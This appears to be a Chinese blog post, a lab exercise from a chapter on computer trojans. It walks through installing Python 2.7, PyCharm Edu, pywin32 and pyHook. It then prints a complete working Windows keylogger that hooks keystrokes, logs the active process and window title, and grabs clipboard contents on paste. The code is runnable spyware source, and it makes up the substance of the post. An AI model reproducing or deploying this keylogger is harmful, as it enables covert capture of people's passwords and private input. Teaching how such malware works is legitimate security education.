编程实现键盘记录功能

目录

1、安装python2.7

2、安装pycharm edu

3、安装完成之后进行相关库的安装

​4、在pycharm中添加解释器

5、对键盘记录功能的代码

6、实验代码的运行


1、安装python2.7

(1)下载安装程序

下载链接如下:https://www.python.org/downloads/release/python-2712/

(2)打开上述链接,显示如下:

https://img-blog.csdn.net/20160827184335202

根据自己电脑配置进行选择,我的是win7 64位,所以我选择的是上述截图中红圈圈中的版本,点击左侧文件名会自动下载。

(3)双击下载之后的msi安装程序进行安装,选择“Install just for me(not available on Windows Vista)”,然后点“Next >”,操作截图如下

https://img-blog.csdn.net/20160827184417223

(4)选择安装路径,用默认的C盘即可,然后点“Next>”,操作截图如下:

 https://img-blog.csdn.net/20160827184504734

(5)选择Python所要安装的文件,默认全部即可,然后点“Next>”,操作截图如下:

https://img-blog.csdn.net/20160827184528203

(6)安装完成之后显示如下截图的内容,点击“Finish”即可。

https://img-blog.csdn.net/20160827184631960

     (7) 将安装的Python添加到环境变量中,右键“我的电脑”(win7系统有的显示是“计算机”)选择“属性”,然后选择“高级系统设置”,操作截图如下:

https://img-blog.csdn.net/20160827184723594

(8) 弹出的“系统属性”界面,选择“高级”里面的“环境变量(N)...”,操作显示如下:

https://img-blog.csdn.net/20160827184749087

(9) 弹出“环境变量”的对话框,在下面的“系统变量”中找到“Path”,然后点击“编辑”,操作显示如下:

https://img-blog.csdn.net/20160827184817228

(10) 在弹出的编辑对话框中,将Python的安装目录“C:\Python27”填写进去,注意,两个路径之间是用“;”分号隔开的。操作显示如下:

https://img-blog.csdn.net/20160827184846400

2、安装pycharm edu

下载地址如下:https://www.jetbrains.com/pycharm-edu/

3、安装完成之后进行相关库的安装

(1)ctypes库:安装在pycharm后,在pycharm;

即表示安装成功。

(2)pythoncom和win32clipboard库:在Python Packages栏搜索 pywin32安装

(3)pyhook库:下载好文件pyHook-1.5.1-cp27-cp27m-win_amd64.whl,并用命令行对其进行安装

4、在pycharm中添加解释器

(1)在pycharm中,点击File—>Settings…

(2)弹出Settings对话框中显示目前的Project Interpreter,点开下拉菜单,选择”Show All…“

(3)点击窗口右侧的+

(4)弹出如下对话框,选择“Existing environment”,并选择右边“…”图标,在和Python.exe同样的目录中,选择名为“Pythonw.exe”的interpreter:

(5)运行.py文件,文件解决

5、对键盘记录功能的代码

# -*- coding: UTF-8 -*-
#第7章 计算机木马
##############################################################################
# 程序名:keylogger.py
# 功能:利用Python第三方库PyHook实现键盘记录
# 说 明:运行平台Windows。它利用Windows的SetWindowsHookEx函数注册了一个自
#         定义的钩子函数,通过函数就能截获用户的按键消息。
##############################################################################

from ctypes import *
import pythoncom
import pyHook
import win32clipboard

user32   = windll.user32
kernel32 = windll.kernel32
psapi    = windll.psapi
current_window = None

def get_current_process():
    hwnd = user32.GetForegroundWindow()    # 获得前台窗口句柄
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))
    process_id = "%d" % pid.value             # 获得进程PID

    executable = create_string_buffer("\x00" * 512)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) # 获得进程名

    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title),512)   # 获得窗口名

    print
    print "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
    print

    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)

def key_event(event):
    global current_window

    if event.WindowName != current_window:  # 检查目标是否切换了窗口
        current_window = event.WindowName
        get_current_process()

    if event.Ascii > 32 and event.Ascii < 127:    # 检查是否为常规按键
        print chr(event.Ascii),
    else:
        if event.Key == "V":                 # 如果是Ctrl+V,则获取剪贴板内容
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print "[PASTE] - %s" % (pasted_value),
        else:
            print "[%s]" % event.Key,

    return True                            # 返回到下一个钩子事件

def key_logger():
    hooker         = pyHook.HookManager() # 创建钩子函数管理器
    hooker.KeyDown = key_event            # 注册钩子按键事件的处理函数
    hooker.HookKeyboard()                 # 创建键盘钩子
    pythoncom.PumpMessages()

if __name__ == '__main__':
    key_logger()

6、实验代码的运行

(1)在桌面创建文件文本

(2)修改文件名,可以看见键盘被记录下来

猜你喜欢

转载自blog.csdn.net/hxb002131/article/details/123806482